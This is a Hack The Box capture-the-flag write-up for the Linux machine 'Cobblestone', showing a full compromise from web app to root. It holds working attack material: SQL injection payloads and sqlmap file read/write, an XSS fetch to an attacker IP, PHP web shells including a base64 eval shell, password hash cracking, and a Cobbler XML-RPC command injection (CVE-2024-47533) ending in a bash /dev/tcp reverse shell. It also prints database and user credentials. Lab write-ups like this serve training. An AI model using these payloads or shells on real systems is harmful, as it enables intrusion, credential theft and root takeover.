> m4rt@CTF_ARCHIVE:~$

Hack The Box / LINUX / 2026-08-15

Hack The Box — Cobblestone (Linux)

We begin with a SQL injection in a web application, which allows us to read files on the remote system. We can also upload a PHP web shell, which allows us to read the users table in a database. We crack a password and log in via SSH. Finally, we exploit a vulnerability in Cobbler XML-RPC API to get root.

Target

  • IP: 10.129.211.128

Port scan

sudo nmap -sC -sV 10.129.211.128 -p- -v
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
|   256 50:ef:5f:db:82:03:36:51:27:6c:6b:a6:fc:3f:5a:9f (ECDSA)
|_  256 e2:1d:f3:e9:6a:ce:fb:e0:13:9b:07:91:28:38:ec:5d (ED25519)
80/tcp open  http    Apache httpd 2.4.62
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Did not follow redirect to http://cobblestone.htb/
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Add cobblestone.htb to /etc/hosts.

Initial enumeration

Go to http://cobblestone.htb.

It seems to refer to a Minecraft server.

At the bottom of the page it says:

  • Join 229 other players on mc.cobblestone.htb

Add mc.cobblestone.htb to /etc/hosts.

ffuf -u 'http://cobblestone.htb/' -H 'Host: FUZZ.cobblestone.htb' -w /home/kali/wordlists/subdomains-top1million-110000.txt -t 50 -fw 18
vote                    [Status: 302, Size: 81, Words: 10, Lines: 4, Duration: 14ms]
deploy                  [Status: 200, Size: 1745, Words: 121, Lines: 52, Duration: 7ms]

Actually, those links were already present in the homepage.

Add them to /etc/hosts.

Click on the skins.

We need to log in. We can register.

Register with a random user and log in.

There is a table with skins.

There is a download button; for example it leads to a link like:

  • http://cobblestone.htb/download.php?skin=/skins/sword4000.png

It seems we cannot do anything here for the moment.

Go to http://vote.cobblestone.htb/.

It is a PHP site.

We can register. Register with a random user.

Log in.

At index.php there is a table with URLs, vote count, and an upvote button.

The URLs point to pages like:

  • http://vote.cobblestone.htb/details.php?id=1

Go to that link. There is a page with:

  • Suggestion #1 - mc.cobblestone.htb
  • Approved: false

Still at index.php there is a suggest tab.

We can put a URL of a Minecraft server and submit it for approval.

For example, use <h1>ciao</h1> and submit it.

Then we see it displayed in large size, so it seems to be XSS.

Even <script>alert(1);</script> works.

If we try to upvote a site, the site says the vote is not implemented.

If we set up a listener:

python3 -m http.server 80

and then try to place this XSS payload:

<img src=x onerror=fetch("http://10.10.15.37/pwnd",{mode:"no-cors"}); >

A request arrives from us. If we wait a bit, though, nothing arrives from others.

SQL injection

We try to put a SQL injection payload as the URL, for example:

  • ' or 1=1 --

Then go to the site, in my case: http://vote.cobblestone.htb/details.php?id=5.

We notice:

  • Suggestion #1 - mc.cobblestone.htb
  • Approved: false

So there is a SQL injection.

If we try a UNION payload, we discover that this works:

' union select 1,2,3,4,5 -- 

In addition, we see:

  • Suggestion #1 - 4

So the column 4 is the one displayed.

Payload:

' union select 1,2,3,database(),5 -- 

Result:

vote

Use SQLMap.

Set a URL to some arbitrary value, for example 'a'. Intercept the request with Burp. Save it to a file request.txt.

sqlmap -r request.txt -p url

We get:

sqlmap identified the following injection point(s) with a total of 73 HTTP(s) requests:
---
Parameter: url (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: url=a' AND 1079=1079 AND 'tGOX'='tGOX

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: url=a' AND (SELECT 7521 FROM (SELECT(SLEEP(5)))qSpE) AND 'twrn'='twrn

    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: url=-3803' UNION ALL SELECT CONCAT(0x7162766271,0x494e444158575647434346567a635852676a59617941766956766575784a745a796a44465a767549,0x7176787071),NULL,NULL,NULL,NULL-- -
---
[23:39:04] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.62
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[23:39:04] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/vote.cobblestone.htb'

[*] ending @ 23:39:04 /2025-08-10/
sqlmap -r request.txt -p url --dbs
available databases [2]:
[*] information_schema
[*] vote
sqlmap -r request.txt -p url -D vote --tables
[2 tables]
+-------+
| users |
| votes |
+-------+
sqlmap -r request.txt -p url -D vote -T users --dump --no-cast
+----+------------------------+----------+--------------------------------------------------------------+----------+-----------+
| id | Email                  | LastName | Password                                                     | Username | FirstName |
+----+------------------------+----------+--------------------------------------------------------------+----------+-----------+
| 1  | cobble@cobblestone.htb |          | $2y$10$6XMWgf8RN6McVqmRyFIDb.6nNALRsA./u4HAF2GIBs3xgZXvZjv86 | admin    | Admin     |
| 10 | test12@test.com        | test12   | $2y$10$q370RXyWVh3p/BPG3Eyu4OROqXy19wfjn1JBpeHWmjNA2TITlGmFy | test12   | test12    |
| 11 | a@a.com                | a        | $2y$10$HS0a9CbDKu0Rhes9ladGPOfpoC6zceEjGd.29ClR70ss8sDEkk4AW | a        | a         |
| 12 | b@b.com                | a        | $2y$10$vBBMbxeBTcC9sQzRI/CF5eeKUiOL2hzs/25TDOnd1xCkn7N7Pdi72 | b        | a         |
+----+------------------------+----------+--------------------------------------------------------------+----------+-----------+

The last 3 users are my test accounts.

Put the hash $2y$10$6XMWgf8RN6McVqmRyFIDb.6nNALRsA./u4HAF2GIBs3xgZXvZjv86 in a file called hash.

./hashcat/hashcat -a 0 -m 3200 ./hash ./rockyou.txt

Or:

./john/run/john --format=bcrypt-opencl --wordlist=./rockyou.txt ./hash

It does not crack.

Reading files on the remote system

sqlmap -r request.txt -p url --file-read /etc/passwd

We notice the user john.

sqlmap -r request.txt -p url --file-read /etc/apache2/sites-available/000-default.conf
<VirtualHost *:80>
        RewriteEngine On
        RewriteCond %{HTTP_HOST} !^cobblestone.htb$
        RewriteRule /.* http://cobblestone.htb/ [R]
        ServerName 127.0.0.1
        ProxyPass "/cobbler_api" "http://127.0.0.1:25151/"
        ProxyPassReverse "/cobbler_api" "http://127.0.0.1:25151/"
</VirtualHost>

<VirtualHost *:80>
        ServerName cobblestone.htb

        ServerAdmin cobble@cobblestone.htb
        DocumentRoot /var/www/html

        <Directory /var/www/html>
                AAHatName cobblestone
        </Directory>

        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined

        RewriteEngine On
        RewriteCond %{HTTP_HOST} !^cobblestone.htb$
        RewriteRule /.* http://cobblestone.htb/ [R]

        Alias /cobbler /srv/www/cobbler

        <Directory /srv/www/cobbler>
                Options Indexes FollowSymLinks
                AllowOverride None
                Require all granted
        </Directory>

</VirtualHost>

<VirtualHost *:80>
        ServerName deploy.cobblestone.htb

        ServerAdmin cobble@cobblestone.htb
        DocumentRoot /var/www/deploy

        RewriteEngine On
        RewriteCond %{HTTP_HOST} !^deploy.cobblestone.htb$
        RewriteRule /.* http://deploy.cobblestone.htb/ [R]
</VirtualHost>

<VirtualHost *:80>
        ServerName vote.cobblestone.htb

        ServerAdmin cobble@cobblestone.htb
        DocumentRoot /var/www/vote

        RewriteEngine On
        RewriteCond %{HTTP_HOST} !^vote.cobblestone.htb$
        RewriteRule /.* http://vote.cobblestone.htb/ [R]
</VirtualHost>

We notice that there is another site at /cobbler_api.

We also see the site paths:

  • /srv/www/cobbler
  • /var/www/deploy
  • /var/www/vote
sqlmap -r request.txt -p url --file-read /var/www/vote/index.php

Inside, we see:

include('db/connection.php');
sqlmap -r request.txt -p url --file-read /var/www/vote/db/connection.php

Inside there are credentials:

$dbserver = "localhost";
$username = "voteuser";
$password = "thaixu6eih0Iicho]irahvoh6aigh>ie";
$dbname = "vote";
sqlmap -r request.txt -p url --file-read /var/www/deploy/index.php

This works; we can also fetch the files for the other site.

There is nothing interesting here.

We can fetch the files for the site in /var/www/html.

sqlmap -r request.txt -p url --file-read /var/www/html/index.php
sqlmap -r request.txt -p url --file-read /var/www/html/register.php
sqlmap -r request.txt -p url --file-read /var/www/html/db/connection.php

From these two files we see that another database is used, and we have credentials:

$dbserver = "localhost";
$username = "dbuser";
$password = "aichooDeeYanaekungei9rogi0eMuo2o";
$dbname = "cobblestone";

With SQLMap we cannot reach this database, though.

sqlmap -r request.txt -p url --file-read /var/www/html/skins.php

We notice that if we are admin:

<div class="tab-pane fade p-4" id="upload" role="tabpanel" aria-labelledby="upload-tab">
    <?php if (isset($_SESSION['id']) && $_SESSION['role'] === 'admin') { echo $twig->render('upload.html.twig',[]);     } ?>
</div>

Also, there should be a skin suggestion button, but I did not see it in the browser.

Looking at the page source, there is a form:

<form method="POST" action="suggest_skin.php">
    <div class="mb-3">
        <label for="username" class="form-label text-light">Username</label>
        <input type="text" class="form-control" id="username" name="username" placeholder="Enter your Username" autocomplete="false" required>
    </div>
    <div class="mb-3">
        <label for="username" class="form-label text-light">Skin Name</label>
        <input type="text" class="form-control" id="name" name="name" placeholder="Enter Skin Name" autocomplete="false" required>
    </div>
    <div class="mb-3">
        <label for="username" class="form-label text-light">Download URL</label>
        <input type="text" class="form-control" id="url" name="url" placeholder="Enter Download URL" autocomplete="false" required>
    </div>
    <button type="submit" class="btn btn-light">Submit</button>
</form>

Also, from skins.php we see that if we are admin it uses a template, so likely there is an upload.php page.

sqlmap -r request.txt -p url --file-read /var/www/html/upload.php

Indeed, it exists.

We see that uploaded skins are placed in /var/www/html/skins/.

So it is likely a writable path for us.

Uploading a PHP web shell

We try to upload a PHP shell.

Create a file shell.php with the content:

<?php system($_GET["cmd"]); ?>

Use SQLMap to upload the file:

sqlmap -r request.txt -p url --file-write shell.php --file-dest /var/www/html/skins/shell.php

The file is uploaded.

Go to:

  • http://cobblestone.htb/skins/shell.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

So we have RCE.

I tried many ways but I could not obtain a reverse shell.

So I had the idea of executing PHP code to connect to the database and dump the users.

I noticed that with SQLMap I can only upload small files.

So I uploaded a file exec_php.php with the content:

<?php eval(base64_decode($_GET["code"])) ?>

To upload it I executed:

sqlmap -r request.txt -p url --file-write exec_php.php --file-dest /var/www/html/skins/exec_php.php

At this point I wanted to run the code:

$conn=new mysqli("localhost","dbuser","aichooDeeYanaekungei9rogi0eMuo2o","cobblestone");$stmt=$conn->prepare("SELECT * FROM users");$stmt->execute();$result=$stmt->get_result();while($row=$result->fetch_assoc()){var_dump($row);} $stmt->close();$conn->close();

Which prints the rows of the users table.

Converted to base64:

JGNvbm49bmV3IG15c3FsaSgibG9jYWxob3N0IiwiZGJ1c2VyIiwiYWljaG9vRGVlWWFuYWVrdW5nZWk5cm9naTBlTXVvMm8iLCJjb2JibGVzdG9uZSIpOyRzdG10PSRjb25uLT5wcmVwYXJlKCJTRUxFQ1QgKiBGUk9NIHVzZXJzIik7JHN0bXQtPmV4ZWN1dGUoKTskcmVzdWx0PSRzdG10LT5nZXRfcmVzdWx0KCk7d2hpbGUoJHJvdz0kcmVzdWx0LT5mZXRjaF9hc3NvYygpKXt2YXJfZHVtcCgkcm93KTt9ICRzdG10LT5jbG9zZSgpOyRjb25uLT5jbG9zZSgpOw==

Now go to:

  • http://cobblestone.htb/skins/exec_php.php?code=JGNvbm49bmV3IG15c3FsaSgibG9jYWxob3N0IiwiZGJ1c2VyIiwiYWljaG9vRGVlWWFuYWVrdW5nZWk5cm9naTBlTXVvMm8iLCJjb2JibGVzdG9uZSIpOyRzdG10PSRjb25uLT5wcmVwYXJlKCJTRUxFQ1QgKiBGUk9NIHVzZXJzIik7JHN0bXQtPmV4ZWN1dGUoKTskcmVzdWx0PSRzdG10LT5nZXRfcmVzdWx0KCk7d2hpbGUoJHJvdz0kcmVzdWx0LT5mZXRjaF9hc3NvYygpKXt2YXJfZHVtcCgkcm93KTt9ICRzdG10LT5jbG9zZSgpOyRjb25uLT5jbG9zZSgpOw==

We get the users table.

The users that matter are these:

array(8) {
  ["id"]=>
  int(1)
  ["Username"]=>
  string(5) "admin"
  ["FirstName"]=>
  string(5) "admin"
  ["LastName"]=>
  string(5) "admin"
  ["Email"]=>
  string(21) "admin@cobblestone.htb"
  ["Role"]=>
  string(5) "admin"
  ["Password"]=>
  string(64) "f4166d263f25a862fa1b77116693253c24d18a36f5ac597d8a01b10a25c560d1"
  ["register_ip"]=>
  string(1) "*"
}
array(8) {
  ["id"]=>
  int(2)
  ["Username"]=>
  string(6) "cobble"
  ["FirstName"]=>
  string(6) "cobble"
  ["LastName"]=>
  string(5) "stone"
  ["Email"]=>
  string(22) "cobble@cobblestone.htb"
  ["Role"]=>
  string(5) "admin"
  ["Password"]=>
  string(64) "20cdc5073e9e7a7631e9d35b5e1282a4fe6a8049e8a84c82987473321b0a8f4d"
  ["register_ip"]=>
  string(1) "*"
}

We try to crack the hashes with Hashcat.

Put the hashes in a file called hash.

./hashcat/hashcat -a 0 -m 1400 ./hash ./rockyou.txt

We manage to crack the cobble hash. We get the password:

  • iluvdannymorethanyouknow
ssh cobble@cobblestone.htb

Enter the password found.

We have a shell.

We can get the user flag.

The shell we have is rbash, a restricted shell.

In addition, we are probably inside a chroot, because we do not see the whole filesystem.

There are really only a few binaries available:

ls -la /bin
total 1972
drwxr-xr-x 2 root root    4096 Jul 24 14:41 .
drwxr-xr-x 9 root root    4096 Jul 24 14:41 ..
-rwxr-xr-x 1 root root   44016 Oct  1  2024 cat
-rwxr-xr-x 1 root root  203152 Oct  1  2024 grep
-rwxr-xr-x 1 root root  151344 Oct  1  2024 ls
-rwxr-xr-x 1 root root  146360 Oct  1  2024 ps
-rwxr-xr-x 1 root root 1265648 Oct  1  2024 rbash
-rwxr-xr-x 1 root root  193680 Oct  1  2024 ss
ls -la /proc/*/cwd
lrwxrwxrwx 1 cobble           cobble           0 Aug 13 15:09 /proc/84293/cwd -> /

So we can see the whole filesystem with:

ls -la /proc/84293/cwd/

However, we are still very limited in the commands we can run.

ss -ltpn
State        Recv-Q       Send-Q             Local Address:Port                Peer Address:Port       Process
LISTEN       0            80                     127.0.0.1:3306                     0.0.0.0:*
LISTEN       0            5                      127.0.0.1:25151                    0.0.0.0:*
LISTEN       0            511                      0.0.0.0:80                       0.0.0.0:*
LISTEN       0            128                      0.0.0.0:22                       0.0.0.0:*
LISTEN       0            128                         [::]:22                          [::]:*

Now we can access the site at 127.0.0.1:25151 without problems.

Forward the port with SSH:

ssh cobble@cobblestone.htb -NL 25151:127.0.0.1:25151

Cobbler XML-RPC API

Searching the internet, it appears to be the XML-RPC API of Cobbler: https://github.com/cobbler/cobbler/wiki/XMLRPC-API

There is an example of the API source code with the various methods: https://cobbler.readthedocs.io/en/latest/_modules/cobbler/api.html

We can interact with the API easily via Python.

For example, connect to it:

import xmlrpc.client

server = xmlrpc.client.Server("http://127.0.0.1:25151/")

Print the version:

server.version()
3.306

From the Cobbler source code on GitHub we see that this is the double format for the version. The real version is 3.3.6.

CVE-2024-47533

There is a vulnerability here: CVE-2024-47533.

Here is a PoC: https://github.com/advisories/GHSA-m26c-fcgh-cp6h

We can log in as admin like this:

token = server.login('', -1)
token
'kmnsUcvEm6M+aDa08Kh//h/mwFKNFQeLfw=='

We receive a token that we can pass to some functions that would otherwise not work.

It is possible to get RCE in this way, for example:

server.background_import({'path': '/tmp', 'name': '$(touch /dev/shm/pwnd)'}, token)

If we print the Cobbler log:

cat /proc/84293/cwd/var/log/cobbler/cobbler.log

We notice that the command rsync is executed with these arguments:

INFO | running: rsync -a  '/tmp/' /var/www/cobbler/distro_mirror/$(touch /dev/shm/pwnd) --progress

And if we look inside /dev/shm:

ls -la /proc/84293/cwd/dev/shm
We see there is the file `pwned`, and the owner is root.

We can obtain a reverse shell.

Set up a listener with Netcat:

nc -vlnp 4444

Now execute:

server.background_import({'path': '/tmp', 'name': '$(bash -c "bash -i >& /dev/tcp/10.10.14.245/4444 0>&1")'}, token)

We get a reverse shell as the root user.